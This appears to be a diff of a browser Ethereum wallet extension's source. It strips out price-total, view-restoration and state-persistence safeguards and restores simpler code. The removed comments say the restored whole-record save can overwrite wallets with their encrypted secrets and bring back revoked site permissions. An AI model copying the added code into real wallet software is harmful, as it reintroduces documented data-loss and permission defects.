     const { currentNetwork } = require("./state");
-    if (currentNetwork().isTestnet) return { usd: null, partial: false };
-    if (!prices.ETH) return { usd: null, partial: false };
-    let usd = parseFloat(addr.balance || "0") * prices.ETH;
-    let partial = false;
+    if (currentNetwork().isTestnet) return null;
+    if (!prices.ETH) return null;
+    let total = 0;
+    const ethBal = parseFloat(addr.balance || "0");
+    total += ethBal * prices.ETH;
     for (const token of addr.tokenBalances || []) {
-        // A null balance is a holding whose scale nothing knows, so it has no
-        // quantity to price — but it is still a holding, and a total that
-        // silently omits it would read as complete. That is exactly what
-        // `partial` is for (https://git.eeqj.de/sneak/AutistMask/issues/349).
-        if (token.balance == null) {
-            partial = true;
-            continue;
-        }
-        const tokenBal = parseFloat(token.balance);
-        // A balance of zero is not a holding: it can neither add to the total
-        // nor make it incomplete. Anything that is not a number at all is not
-        // a holding this can price either, and is left to the same rule.
-        if (!(tokenBal > 0)) continue;
-        if (prices[token.symbol]) {
-            usd += tokenBal * prices[token.symbol];
-        } else {
-            partial = true;
+        const tokenBal = parseFloat(token.balance || "0");
+        if (tokenBal > 0 && prices[token.symbol]) {
+            total += tokenBal * prices[token.symbol];
         }
     }
-    return { usd, partial };
+    return total;
 }
 
-// The same pair for a whole wallet, and for every wallet at once. One
-// unpriced holding anywhere makes the sum a floor, so partial carries up.
-function getWalletValue(wallet) {
-    return sumValues(wallet.addresses.map(getAddressValue));
-}
-
-function getTotalValue(wallets) {
-    return sumValues(wallets.map(getWalletValue));
-}
-
-function sumValues(values) {
-    let usd = null;
-    let partial = false;
-    for (const value of values) {
-        if (value.usd === null) continue;
-        usd = (usd === null ? 0 : usd) + value.usd;
-        partial = partial || value.partial;
+function getWalletValueUsd(wallet) {
+    const { currentNetwork } = require("./state");
+    if (currentNetwork().isTestnet) return null;
+    if (!prices.ETH) return null;
+    let total = 0;
+    for (const addr of wallet.addresses) {
+        total += getAddressValueUsd(addr);
     }
-    return { usd, partial };
+    return total;
 }
 
-// The one rendering of an address total, so no screen says it differently.
-//
-// A partial total is shown and named as partial: the figure is the ETH and
-// priced tokens the user does hold, which is worth having, and suppressing it
-// would throw away a number that is correct as far as it goes. What is never
-// shown is a figure covering no holdings at all — the $0.00 sum of an empty
-// set beside a list of tokens is the bug this replaces.
-function formatAddressTotal(value) {
-    if (!value || value.usd === null) return "";
-    if (!value.partial) return "Total: " + formatUsd(value.usd);
-    if (value.usd > 0) {
-        return "Total: " + formatUsd(value.usd) + " plus unpriced tokens";
+function getTotalValueUsd(wallets) {
+    const { currentNetwork } = require("./state");
+    if (currentNetwork().isTestnet) return null;
+    if (!prices.ETH) return null;
+    let total = 0;
+    for (const wallet of wallets) {
+        total += getWalletValueUsd(wallet);
     }
-    return "Total: unpriced tokens only";
+    return total;
 }
 
 module.exports = {
@@ -143,8 +99,7 @@ module.exports = {
     clearPrices,
     getPrice,
     formatUsd,
-    formatAddressTotal,
-    getAddressValue,
-    getWalletValue,
-    getTotalValue,
+    getAddressValueUsd,
+    getWalletValueUsd,
+    getTotalValueUsd,
 };

src/shared/restorableViews.js

@@ -1,41 +0,0 @@
-// Views the popup may reopen onto.
-//
-// The popup persists the current view so that reopening the toolbar popup
-// lands the user back where they were. Only views that can be fully
-// re-rendered from persisted state belong here; every other view falls back
-// to the nearest restorable parent (src/popup/index.js restoreView()).
-//
-// A view that displays a secret must NEVER be listed. Restoring onto one
-// would put a private key or a recovery phrase on screen with no password
-// prompt in front of it, on a popup the user may have reopened by accident.
-// That is why "export-privkey" and "show-phrase" are absent.
-//
-// Nor may a view whose button destroys a wallet be listed, for the mirror
-// reason: a popup reopened by accident must not land on the screen that
-// erases key material. That is why "delete-wallet-confirm" and
-// "delete-wallet-lost-password" are absent.
-//
-// Kept in its own module, with no dependencies, so tests can assert the
-// exclusion directly rather than trusting a reading of the popup entry
-// point.
-//
-// It sits under src/shared/ rather than src/popup/ because
-// src/shared/persistedState.js needs it and that module is in the BACKGROUND
-// bundle: a popup-path module reached from the worker is the shape
-// script/lib/forbiddenBundleInputs.js exists to keep out, whether or not the
-// particular module is harmless.
-const RESTORABLE_VIEWS = new Set([
-    "main",
-    "address",
-    "address-token",
-    "receive",
-    "settings",
-    "settings-addtoken",
-    "confirm-tx",
-    "transaction",
-    "wait-tx",
-    "success-tx",
-    "error-tx",
-]);
-
-module.exports = { RESTORABLE_VIEWS };

src/shared/state.js

@@ -1,50 +1,39 @@
 // State management and extension storage persistence.
-//
-// The `state` export is a module-level singleton: ONE in-memory copy of the
-// profile per bundle, loaded once by loadState() and mutated in place from
-// then on. That is the popup's model — one page, one load at boot, one
-// lifetime.
-//
-// It is NOT the background's model, and the background must not reach it. The
-// MV3 service worker is torn down when idle and revived by the next message,
-// nothing loads state at module scope, and an unpopulated read used to hand
-// back DEFAULT_STATE with no complaint — five defects came out of that one
-// fact (https://git.eeqj.de/sneak/AutistMask/issues/324). Two things close it:
-// this module is unreachable from the background bundle, and reading a
-// persisted field of the singleton before a load now THROWS instead of quietly
-// serving a default.
-//
-// The unreachability is enforced by the BUILD. build.js fails when esbuild's
-// own metafile reports this module as an input of a background bundle — the
-// resolution the shipped file was built from, so no specifier syntax gets past
-// it — from the table in script/lib/forbiddenBundleInputs.js, which also
-// records what that does and does not cover. The ESLint rule that reports the
-// same thing in the editor is fast feedback in front of the build, not the
-// guarantee.
 
+const { DEFAULT_RPC_URL, DEFAULT_BLOCKSCOUT_URL } = require("./constants");
 const { networkById } = require("./networks");
-const {
-    DEFAULT_STATE,
-    PERSISTED_FIELDS,
-    normalizePersisted,
-} = require("./persistedState");
 
-const {
-    STATE_SCHEMA_VERSION,
-    assertStateUsable,
-    migrationNeeded,
-} = require("./stateSchema");
+const storageApi =
+    typeof browser !== "undefined"
+        ? browser.storage.local
+        : chrome.storage.local;
 
-const { storageGet, storageSet } = require("./browserApi");
-const { log } = require("./log");
+const DEFAULT_STATE = {
+    hasWallet: false,
+    wallets: [],
+    trackedTokens: [],
+    networkId: "mainnet",
+    rpcUrl: DEFAULT_RPC_URL,
+    blockscoutUrl: DEFAULT_BLOCKSCOUT_URL,
+    lastBalanceRefresh: 0,
+    activeAddress: null,
+    allowedSites: {},
+    deniedSites: {},
+    rememberSiteChoice: true,
+    showZeroBalanceTokens: true,
+    hideLowHolderTokens: true,
+    hideFraudContracts: true,
+    hideDustTransactions: true,
+    dustThresholdGwei: 100000,
+    utcTimestamps: false,
+    fraudContracts: [],
+    tokenHolderCache: {},
+    theme: "system",
+    debugMode: false,
+};
 
-// The live record the proxy below guards. Everything inside this module reads
-// and writes THIS object, never the proxy: the guard is for callers.
-const rawState = {
+const state = {
     ...DEFAULT_STATE,
-    // Its own object, not the one DEFAULT_STATE holds: applyChainSwitchFields()
-    // mutates this map in place, and a spread copies the reference.
-    networkEndpoints: {},
     currentView: null,
     selectedWallet: null,
     selectedAddress: null,
@@ -53,571 +42,107 @@ const rawState = {
     viewStack: [],
 };
 
-// False until loadState() has completed in this bundle. Until then, a
-// persisted field that has not been assigned in this context cannot be READ:
-// see StateNotLoadedError.
-let loaded = false;
-
-// True once this context has assigned anything into the singleton.
-//
-// What the guard is for is a context that READS a profile nobody put there —
-// every one of the five defects was a pure read of an untouched singleton,
-// answered out of DEFAULT_STATE. A context that has written into it is
-// managing it deliberately (the popup does, via loadState() at boot and by
-// hand thereafter), and reading back what you yourself put there is not the
-// mistake being caught.
-//
-// The cost of that is honest and worth naming: a context that writes one field
-// and then reads a different, untouched one is still served that field's
-// default. Nothing closes that here — what closes it for the background is
-// that the background cannot reach this module at all, which build.js asserts
-// against esbuild's metafile on every build (FORBIDDEN_INPUTS in
-// script/lib/forbiddenBundleInputs.js, pinned by
-// tests/buildForbiddenInputs.test.js).
-let adopted = false;
-
-// Every field whose pre-load value would be a plausible-looking default rather
-// than the user's data. The view scratch fields are guarded too: currentView
-// and viewStack are persisted, and a save that carried their pre-load values
-// would overwrite a real stored stack with an empty one.
-const GUARDED_FIELDS = new Set(PERSISTED_FIELDS.concat(["hasWallet"]));
-
-class StateNotLoadedError extends Error {
-    constructor(field) {
-        super(
-            "state." +
-                field +
-                " was read before loadState(); this context has no profile" +
-                " loaded and must not be served DEFAULT_STATE",
-        );
-        this.name = "StateNotLoadedError";
-    }
-}
-
-// Loud, not defaulted. The whole defect class this guard closes looks exactly
-// like working code at the call site: the read succeeds, the value is
-// well-formed, and it describes a wallet that is not the user's.
-const state = new Proxy(rawState, {
-    get(target, prop, receiver) {
-        if (
-            !loaded &&
-            !adopted &&
-            typeof prop === "string" &&
-            GUARDED_FIELDS.has(prop)
-        ) {
-            throw new StateNotLoadedError(prop);
-        }
-        return Reflect.get(target, prop, receiver);
-    },
-    set(target, prop, value, receiver) {
-        if (typeof prop === "string" && GUARDED_FIELDS.has(prop)) {
-            adopted = true;
-        }
-        return Reflect.set(target, prop, value, receiver);
-    },
-});
-
 // Return the network configuration for the currently selected network.
 function currentNetwork() {
     return networkById(state.networkId);
 }
 
-// The persisted fields as they stood at the end of this page's last
-// loadState() or saveState(). saveState() diffs the live state against this
-// to find only the fields THIS page actually changed.
-//
-// Deep-cloned, not a reference: callers mutate persisted objects and arrays
-// in place (state.wallets.push(...)), and a reference baseline would mutate
-// right along with `state`, so the diff would always come out empty.
-let baseline = null;
-
-function snapshotPersisted() {
-    const out = {};
-    for (const key of PERSISTED_FIELDS) out[key] = rawState[key];
-    return out;
+async function saveState() {
+    const persisted = {
+        hasWallet: state.hasWallet,
+        wallets: state.wallets,
+        trackedTokens: state.trackedTokens,
+        networkId: state.networkId,
+        rpcUrl: state.rpcUrl,
+        blockscoutUrl: state.blockscoutUrl,
+        lastBalanceRefresh: state.lastBalanceRefresh,
+        activeAddress: state.activeAddress,
+        allowedSites: state.allowedSites,
+        deniedSites: state.deniedSites,
+        rememberSiteChoice: state.rememberSiteChoice,
+        showZeroBalanceTokens: state.showZeroBalanceTokens,
+        hideLowHolderTokens: state.hideLowHolderTokens,
+        hideFraudContracts: state.hideFraudContracts,
+        hideDustTransactions: state.hideDustTransactions,
+        dustThresholdGwei: state.dustThresholdGwei,
+        utcTimestamps: state.utcTimestamps,
+        fraudContracts: state.fraudContracts,
+        tokenHolderCache: state.tokenHolderCache,
+        theme: state.theme,
+        debugMode: state.debugMode,
+        currentView: state.currentView,
+        selectedWallet: state.selectedWallet,
+        selectedAddress: state.selectedAddress,
+        selectedToken: state.selectedToken,
+        viewData: state.viewData,
+        viewStack: state.viewStack,
+    };
+    await storageApi.set({ autistmask: persisted });
 }
 
-function deepEqual(a, b) {
-    if (a === b) return true;
-    if (typeof a !== "object" || typeof b !== "object") return false;
-    if (a === null || b === null) return false;
-    if (Array.isArray(a) !== Array.isArray(b)) return false;
-    const aKeys = Object.keys(a);
-    const bKeys = Object.keys(b);
-    if (aKeys.length !== bKeys.length) return false;
-    for (const key of aKeys) {
-        if (!Object.prototype.hasOwnProperty.call(b, key)) return false;
-        if (!deepEqual(a[key], b[key])) return false;
-    }
-    return true;
-}
-
-// Stable identity for a wallet, independent of its position in the array
-// (which shifts under a concurrent add/delete elsewhere) and independent of
-// its mutable fields (name is user-editable; addresses gains/loses entries
-// via scanning and deleteAddress.js). An "hd"/"xprv" wallet's xpub never
-// changes for its lifetime and is already enforced unique
-// (findWalletByXpub() in addWallet.js). A "key" wallet has no xpub, exactly
-// one address for its whole lifetime (nothing ever adds to or removes from
-// a key wallet's address list), and that address is already enforced
-// unique (findWalletByAddress()) — so it stands in for identity there.
-// Neither invariant is enforced by this function or by
-// mergeListByIdentity() below — they hold only because every wallet-
-// creation path in addWallet.js happens to populate one or the other before
-// the wallet ever reaches state.wallets, and because canRemoveAddress() in
-// walletDelete.js never lets a wallet's address list go to zero. A wallet
-// with neither (an empty/legacy/corrupt record) falls back to the same
-// "addr:" identity as every other such record, which is a genuine
-// collision, not a proxy for one — see the collision handling in
-// mergeListByIdentity().
-function walletIdentity(wallet) {
-    if (wallet.xpub) return "xpub:" + wallet.xpub;
-    const first = wallet.addresses && wallet.addresses[0];
-    return "addr:" + (first ? String(first.address).toLowerCase() : "");
-}
-
-// Stable identity for an address within one wallet's address list. An
-// address is unique within its wallet and, once derived or imported, never
-// changes — only whether it is present.
-function addressIdentity(addr) {
-    return String(addr.address).toLowerCase();
-}
-
-// Merge one array of identity-bearing objects (wallets, or the addresses
-// inside one wallet) by identity rather than by array index — an index
-// shifts under a concurrent insert/delete elsewhere, which would merge the
-// wrong pair of objects entirely.
-//
-// `theirs` (fresh storage) sets the membership baseline and the order:
-//   - An item this page never had baseline knowledge of, but that is in
-//     `theirs`, was added by someone else — kept as-is.
-//   - An item `base` had and `ours` no longer has was deleted by THIS page
-//     — dropped even though `theirs` still has it (this page's own delete
-//     must win over a background save that only touched leaf fields).
-//   - An item present in both `ours` and `theirs` is merged leaf-by-leaf via
-//     `mergeItem`, so a leaf this page changed (e.g. a renamed wallet) lands
-//     on top of `theirs`' otherwise-current copy (e.g. a refreshed balance).
-// Anything left in `ours` that `base` never had and `theirs` does not have
-// yet is this page's own new addition — appended.
-//
-// `identityOf` is not guaranteed collision-free (walletIdentity() falls
-// back to one shared "addr:" value for any wallet with neither an xpub nor
-// a populated first address). Two records that collide under it must never
-// silently collapse into one — that is exactly how this function used to
-// drop a wallet, encryptedSecret included, with no error and no log. Two
-// defenses:
-//   - `ours` is indexed into GROUPS, not a single item per identity, so two
-//     colliding live items on this page can't overwrite each other in the
-//     index before the merge below even runs.
-//   - A matched pair with no shared `base` entry (neither page ever agreed
-//     on this identity) is only merged leaf-by-leaf when the two sides are
-//     already equal. If they differ, that is not "the same record edited
-//     twice", it is two different records that happen to share an identity
-//     — both are kept, unmerged, rather than guessing which one is real.
-function mergeListByIdentity(base, ours, theirs, identityOf, mergeItem) {
-    base = base || [];
-    ours = ours || [];
-    theirs = theirs || [];
-    const baseIndex = new Map(base.map((item) => [identityOf(item), item]));
-    const oursIndex = new Map();
-    for (const item of ours) {
-        const id = identityOf(item);
-        if (!oursIndex.has(id)) oursIndex.set(id, []);
-        oursIndex.get(id).push(item);
-    }
-
-    const result = [];
-    const seen = new Set();
-
-    for (const theirItem of theirs) {
-        const id = identityOf(theirItem);
-        seen.add(id);
-        const oursGroup = oursIndex.get(id);
-        if (baseIndex.has(id) && !oursGroup) continue;
-        if (oursGroup) {
-            const baseItem = baseIndex.get(id);
-            if (!baseItem && !deepEqual(oursGroup[0], theirItem)) {
-                log.errorf(
-                    "state: identity collision merging",
-                    JSON.stringify(id),
-                    "- keeping both records instead of dropping one",
-                );
-                result.push(theirItem, ...oursGroup);
-            } else {
-                result.push(mergeItem(baseItem, oursGroup[0], theirItem));
-                for (let i = 1; i < oursGroup.length; i++) {
-                    result.push(oursGroup[i]);
-                }
-            }
-        } else {
-            result.push(theirItem);
-        }
-    }
-
-    for (const item of ours) {
-        const id = identityOf(item);
-        if (seen.has(id)) continue;
-        if (!baseIndex.has(id)) result.push(item);
-    }
-
-    return result;
-}
-
-// Merge one wallet's scalar/leaf fields (name, encryptedSecret, nextIndex,
-// ...) against base, then recurse into its address list by identity. `base`
-// is null when this page created the wallet itself and no other page has
-// (yet) produced a same-identity record — nothing to merge in that case,
-// this page's own copy wins outright. mergeListByIdentity() only ever calls
-// this with `!base` when `ours` and `theirs` are already equal (a genuine
-// collision between two DIFFERENT same-identity records is caught and kept
-// as two separate entries before this function is reached), so returning
-// `ours` here can't discard a different wallet's data.
-function mergeWallet(base, ours, theirs) {
-    if (!base) return ours;
-    const merged = { ...theirs };
-    for (const key of Object.keys(ours)) {
-        if (key === "addresses") continue;
-        if (!deepEqual(ours[key], base[key])) merged[key] = ours[key];
-    }
-    merged.addresses = mergeListByIdentity(
-        base.addresses,
-        ours.addresses,
-        theirs.addresses,
-        addressIdentity,
-        mergeAddress,
-    );
-    return merged;
-}
-
-// Merge one address's leaf fields (balance, ensName, tokenBalances, ...).
-// tokenBalances is itself an array, but only a balance refresh ever writes
-// it and always wholesale (refreshBalances() in src/shared/balances.js), so
-// there is no membership to reconcile within it — it is a leaf like balance
-// or ensName, not a list with its own identity.
-function mergeAddress(base, ours, theirs) {
-    if (!base) return ours;
-    const merged = { ...theirs };
-    for (const key of Object.keys(ours)) {
-        if (!deepEqual(ours[key], base[key])) merged[key] = ours[key];
-    }
-    return merged;
-}
-
-// Merge a plain object keyed by string (allowedSites/deniedSites: address ->
-// hostname list; networkEndpoints: networkId -> {rpcUrl, blockscoutUrl}) the
-// same way mergeListByIdentity() merges an array — by key, not by whole-
-// object diff — so a key one page added or removed applies independently of
-// a key another page edited. Unlike an array's identity function, an object
-// key can't collide with a different logical entry (Object.keys() is
-// already deduplicated), so this needs no collision floor of its own.
-//
-// Every write goes through defineProperty rather than assignment. The keys are
-// whatever the stored record carries, and plain assignment of "__proto__" —
-// which JSON can carry and normalizePersisted() keeps for networkEndpoints —
-// replaces this object's prototype and records no entry. That would undo one
-// layer downstream exactly what defineOwn() does in
-// src/shared/persistedState.js.
-function mergeMapByKey(base, ours, theirs, mergeLeaf) {
-    base = base || {};
-    ours = ours || {};
-    theirs = theirs || {};
-    const result = {};
-    const seen = new Set();
-    const put = (key, value) =>
-        Object.defineProperty(result, key, {
-            value: value,
-            writable: true,
-            enumerable: true,
-            configurable: true,
-        });
-
-    for (const key of Object.keys(theirs)) {
-        seen.add(key);
-        const inBase = Object.prototype.hasOwnProperty.call(base, key);
-        const inOurs = Object.prototype.hasOwnProperty.call(ours, key);
-        if (inBase && !inOurs) continue; // this page deleted the whole entry
-        if (inOurs) {
-            put(key, mergeLeaf(base[key], ours[key], theirs[key]));
-        } else {
-            put(key, theirs[key]);
-        }
-    }
-
-    for (const key of Object.keys(ours)) {
-        if (seen.has(key)) continue;
-        if (!Object.prototype.hasOwnProperty.call(base, key)) {
-            put(key, ours[key]);
-        }
-    }
-
-    return result;
-}
-
-// allowedSites/deniedSites: { [address]: [hostname, ...] }. The hostname
-// list is itself membership, not a leaf — the background appends a newly
-// approved/denied hostname to it, and the Settings "revoke" button
-// (src/popup/views/settings.js) filters a hostname out of it in place, from a
-// different page. Merge it the same way wallets are merged: identity is the
-// hostname itself, so a merged pair is always equal and mergeItem is a no-op
-// pick.
-function mergeHostnameList(base, ours, theirs) {
-    return mergeListByIdentity(
-        base,
-        ours,
-        theirs,
-        (hostname) => hostname,
-        (b, o, t) => t,
-    );
-}
-
-function mergeSiteMap(base, ours, theirs) {
-    return mergeMapByKey(base, ours, theirs, mergeHostnameList);
-}
-
-// networkEndpoints: { [networkId]: {rpcUrl, blockscoutUrl} }.
-// applyChainSwitchFields() (src/shared/chainSwitchFields.js) writes
-// networkEndpoints[networkId] in place before saving. No code path ever
-// removes a key from this map, so the membership collision that matters for
-// allowedSites/wallets (an add on one page racing a delete on another) can't
-// happen here — but two pages switching to two different networks
-// concurrently still race a whole-field diff the same way, so it gets the same
-// per-key merge for the leaf edit case (e.g. Settings saving a custom RPC URL
-// for the active network).
-function mergeEndpointEntry(base, ours, theirs) {
-    if (!base) return ours;
-    const merged = { ...theirs };
-    for (const key of Object.keys(ours)) {
-        if (!deepEqual(ours[key], base[key])) merged[key] = ours[key];
-    }
-    return merged;
-}
-
-function mergeNetworkEndpoints(base, ours, theirs) {
-    return mergeMapByKey(base, ours, theirs, mergeEndpointEntry);
-}
-
-// Read-modify-write, merged per field, rather than one full-blob write.
-//
-// Every extension page (the toolbar popup, a dApp approval window) holds its
-// own in-memory `state`, loaded once, and showView() saves on every
-// navigation. A full-blob write here clobbers whatever a second page had
-// written since — including, in the worst case, an entire wallet and its
-// encrypted secret with no attacker and no unusual input (see the issue this
-// fixes).
-//
-// Only the fields this page actually changed — those that differ from
-// `baseline`, captured at the last loadState()/saveState() on this page —
-// are written; every other field is carried forward from whatever is in
-// storage right now, which may already be a value another page wrote.
-//
-// `wallets` is merged structurally (mergeListByIdentity(), by wallet
-// identity and then by address identity within each wallet), not as one
-// whole field: a balance refresh mutates wallets IN PLACE (addr.balance /
-// ensName / tokenBalances, via refreshBalances()), so a whole-field diff
-// would mark all of `wallets` "changed" the moment any balance moved and
-// write back that page's own copy — loaded before its multi-second network
-// round trip — clobbering a wallet another page added, or resurrecting one
-// another page deleted, in that window. Merging by identity lets the leaf
-// changes and another page's membership changes (add/delete a wallet or an
-// address) apply independently instead of colliding as the same field.
-//
-// `allowedSites` and `deniedSites` get the same treatment (mergeSiteMap(),
-// by address key and then by hostname within each address's list), for the
-// identical reason: the background appends a newly approved/denied hostname
-// to them, and the Settings "revoke" button (src/popup/views/settings.js)
-// filters one out in place, from a different page. A whole-field diff here
-// doesn't just lose data, it is a security defect — a stale page's save can
-// resurrect a just-revoked site permission, or silently wipe a permission just
-// granted elsewhere.
-//
-// `networkEndpoints` gets the same treatment too (mergeNetworkEndpoints(),
-// by network id), since applyChainSwitchFields() writes into it in place; the
-// value per key is a small leaf object with no membership of its own; see the
-// comment at mergeEndpointEntry() for why the collision this closes is
-// milder than the other two.
-//
-// Every other persisted field stays a whole-field diff:
-// `trackedTokens`/`fraudContracts`/`viewStack` are arrays of scalars with no
-// per-element identity to merge by; `tokenHolderCache` is a map shaped like
-// the ones above, but nothing in src/ ever writes an entry into it — it is
-// only ever reset wholesale to `{}` (applyChainSwitchFields()) — so there is
-// no in-place mutation for a whole-field diff to collide with; `viewData` is
-// this page's own UI scratch space, not data another page has any reason to
-// share membership of.
-//
-// This does not make two pages that both change the SAME leaf concurrently
-// safe: last write wins on that one leaf, same as before. What it removes
-// is the cross-field (and now cross-membership-vs-leaf) clobber — a page
-// that only navigated, or only refreshed a balance, overwriting a wallet or
-// address list it never touched the membership of.
-//
-// This page's own live `state` is deliberately NOT rehydrated from a field
-// another page changed — only the record written to storage is merged.
-// showView() fires saveState() on every navigation without awaiting it,
-// which is what makes the queue above necessary in the first place, and a
-// save that is slow to come back has no way to tell whether the field it
-// is about to hand back is still the current answer or has since been
-// overtaken by something this very page did in the meantime; writing it
-// into `state` regardless reintroduced exactly the clobber this function
-// exists to remove, just delayed and confined to one page instead of two
-// (caught by tests/txStatus.test.js). A page's live picture of a field it
-// does not own goes on being whatever its last loadState() saw, same as
-// before this fix; only the persisted record is guaranteed current.
-async function saveStateOnce() {
-    const current = snapshotPersisted();
-    const result = await storageGet("autistmask");
-    // The record in storage right now is about to be merged into and written
-    // back, so it is validated exactly like a load validates it. Without this,
-    // a page whose own load succeeded would normalize a record it does not
-    // understand — one a NEWER build wrote in the meantime, say — and write
-    // the result back over it, destroying the only copy of whatever that
-    // record held. Refusing is louder than that and loses nothing: the live
-    // state is untouched and the next save retries.
-    assertStateUsable(result.autistmask);
-    // Normalized, not raw: a field this page did not change still has to
-    // come from storage in its loaded (self-healed) shape. See
-    // normalizePersisted() in persistedState.js.
-    const fresh = normalizePersisted(result.autistmask);
-
-    const merged = { ...fresh };
-    for (const key of PERSISTED_FIELDS) {
-        if (key === "wallets") {
-            merged.wallets = mergeListByIdentity(
-                baseline ? baseline.wallets : [],
-                current.wallets,
-                fresh.wallets,
-                walletIdentity,
-                mergeWallet,
-            );
-        } else if (key === "allowedSites" || key === "deniedSites") {
-            merged[key] = mergeSiteMap(
-                baseline ? baseline[key] : {},
-                current[key],
-                fresh[key],
-            );
-        } else if (key === "networkEndpoints") {
-            merged.networkEndpoints = mergeNetworkEndpoints(
-                baseline ? baseline.networkEndpoints : {},
-                current.networkEndpoints,
-                fresh.networkEndpoints,
-            );
-        } else if (
-            baseline === null ||
-            !deepEqual(current[key], baseline[key])
-        ) {
-            merged[key] = current[key];
-        }
-    }
-    merged.hasWallet = Boolean(merged.wallets && merged.wallets.length > 0);
-    // Stamped on every write, never merged or diffed: the record that goes to
-    // storage is in THIS build's shape whatever shape it was read in, which is
-    // what migrates the unversioned records every install in the field holds.
-    merged.schemaVersion = STATE_SCHEMA_VERSION;
-
-    await storageSet({ autistmask: merged });
-
-    // Derived from this page's own wallets, never adopted off the wire —
-    // see loadState(). Everything else this page did not change is left
-    // exactly as it stood; see the note above.
-    rawState.hasWallet = rawState.wallets.length > 0;
-
-    baseline = structuredClone(snapshotPersisted());
-}
-
-// showView() calls saveState() on every navigation without awaiting it, so
-// two saves from the SAME page can be in flight at once — e.g. a screen
-// shown, then immediately replaced before the first save's storageGet()
-// round trip has come back. Left concurrent, the first save's turn would
-// finish after the second's live-state mutation and then re-hydrate `state`
-// from what IT read, stomping the second, later change back to a stale
-// value — the same clobber this function exists to prevent, just between
-// two saves on one page instead of two pages. Queuing makes every save's
-// snapshot-diff-write-rehydrate run start to finish before the next one
-// begins, so each one only ever sees the true live state at its turn.
-let saveQueue = Promise.resolve();
-
-// Where a failed save is REPORTED, set once by the context that has a screen
-// to say it on (src/popup/index.js).
-//
-// A save that fails must not fail silently. showView() fires saveState() on
-// every navigation without awaiting it, and the queue below has to attach a
-// rejection handler to keep advancing — so a failing save was swallowed
-// entirely: no throw, no message, nothing on screen. The wallet kept running
-// against storage that was rejecting every write, which is the data-loss half
-// of https://git.eeqj.de/sneak/AutistMask/issues/362. The awaited callers were
-// no better off: `await saveState()` inside an unguarded event handler surfaces
-// in the console and nowhere the user looks.
-//
-// This is the "tell the user" half; the other half is the floor in
-// normalizePersisted(), which stops the malformed-record cause from arising in
-// the first place. Both, because a floor only covers the causes it knows about
-// and storage can still fail for reasons of its own (quota, a revoked
-// permission, a record a newer build wrote).
-let saveFailureHandler = null;
-
-function onSaveFailure(fn) {
-    saveFailureHandler = fn;
-}
-
-function reportSaveFailure(err) {
-    log.errorf("state: saving failed, changes were NOT persisted:", err);
-    if (!saveFailureHandler) return;
-    try {
-        saveFailureHandler(err);
-    } catch (e) {
-        // The reporter is the last thing standing between a failed save and
-        // silence; a reporter that throws must not become an unhandled
-        // rejection of its own on top of it.
-        log.errorf("state: the save-failure reporter itself failed:", e);
-    }
-}
-
-function saveState() {
-    const turn = saveQueue.then(saveStateOnce);
-    // The queue must advance even when a save rejects, or every save after
-    // it queues behind a promise that never settles.
-    saveQueue = turn.catch(() => {});
-    // Every failed save is reported, whether or not the caller awaited this
-    // one. The returned promise still rejects, so a caller that DOES await
-    // keeps its own error handling.
-    turn.catch(reportSaveFailure);
-    return turn;
-}
-
-// Rejects with StateUnusableError for a stored record this build cannot make
-// sense of. Nothing is assigned and `loaded` stays false in that case, so a
-// caller that ignores the rejection gets StateNotLoadedError on the first
-// read rather than a half-populated profile. The caller that does NOT ignore
-// it is the popup entry point, which shows the recovery screen
-// (src/popup/views/stateRecovery.js) instead of proceeding.
 async function loadState() {
-    const result = await storageGet("autistmask");
-    // Before normalization, on the raw bytes: normalizing first would paper
-    // over the very shapes this refuses, which is how a corrupt record used to
-    // reach the popup and blank it (issue #311).
-    assertStateUsable(result.autistmask);
-    if (migrationNeeded(result.autistmask)) {
-        log.infof(
-            "state: migrating an unversioned profile to schema version",
-            STATE_SCHEMA_VERSION,
-        );
-    }
+    const result = await storageApi.get("autistmask");
     if (result.autistmask) {
-        Object.assign(rawState, normalizePersisted(result.autistmask));
+        const saved = result.autistmask;
+        state.hasWallet = saved.hasWallet;
+        state.wallets = saved.wallets || [];
+        state.trackedTokens = saved.trackedTokens || [];
+        state.networkId = saved.networkId || DEFAULT_STATE.networkId;
+        state.rpcUrl = saved.rpcUrl || DEFAULT_STATE.rpcUrl;
+        state.blockscoutUrl =
+            saved.blockscoutUrl || DEFAULT_STATE.blockscoutUrl;
+        state.lastBalanceRefresh = saved.lastBalanceRefresh || 0;
+        state.activeAddress = saved.activeAddress || null;
+        state.allowedSites =
+            saved.allowedSites && !Array.isArray(saved.allowedSites)
+                ? saved.allowedSites
+                : {};
+        state.deniedSites =
+            saved.deniedSites && !Array.isArray(saved.deniedSites)
+                ? saved.deniedSites
+                : {};
+        state.rememberSiteChoice =
+            saved.rememberSiteChoice !== undefined
+                ? saved.rememberSiteChoice
+                : true;
+        state.showZeroBalanceTokens =
+            saved.showZeroBalanceTokens !== undefined
+                ? saved.showZeroBalanceTokens
+                : true;
+        state.hideLowHolderTokens =
+            saved.hideLowHolderTokens !== undefined
+                ? saved.hideLowHolderTokens
+                : true;
+        state.hideFraudContracts =
+            saved.hideFraudContracts !== undefined
+                ? saved.hideFraudContracts
+                : true;
+        state.hideDustTransactions =
+            saved.hideDustTransactions !== undefined
+                ? saved.hideDustTransactions
+                : true;
+        state.dustThresholdGwei =
+            saved.dustThresholdGwei !== undefined
+                ? saved.dustThresholdGwei
+                : 100000;
+        state.utcTimestamps =
+            saved.utcTimestamps !== undefined ? saved.utcTimestamps : false;
+        state.fraudContracts = saved.fraudContracts || [];
+        state.tokenHolderCache = saved.tokenHolderCache || {};
+        state.theme = saved.theme || "system";
+        state.debugMode =
+            saved.debugMode !== undefined ? saved.debugMode : false;
+        state.currentView = saved.currentView || null;
+        state.selectedWallet =
+            saved.selectedWallet !== undefined ? saved.selectedWallet : null;
+        state.selectedAddress =
+            saved.selectedAddress !== undefined ? saved.selectedAddress : null;
+        state.selectedToken = saved.selectedToken || null;
+        state.viewData = saved.viewData || {};
+        state.viewStack = Array.isArray(saved.viewStack) ? saved.viewStack : [];
     }
-    // Whether storage had a profile or was empty, this context has now read
-    // it, and the defaults standing in for an empty profile are the right
-    // answer rather than a stand-in for one nobody looked for.
-    loaded = true;
-    // The point of comparison every saveState() on this page diffs against.
-    // See PERSISTED_FIELDS in persistedState.js for why a reference here
-    // would be wrong.
-    baseline = structuredClone(snapshotPersisted());
 }
 
-// Through the guarded proxy, not rawState: a caller asking which address is
-// selected before anything was loaded gets the same loud failure it would get
-// reading the fields itself.
 function currentAddress() {
     if (state.selectedWallet === null || state.selectedAddress === null) {
         return null;
@@ -628,9 +153,7 @@ function currentAddress() {
 module.exports = {
     state,
     saveState,
-    onSaveFailure,
     loadState,
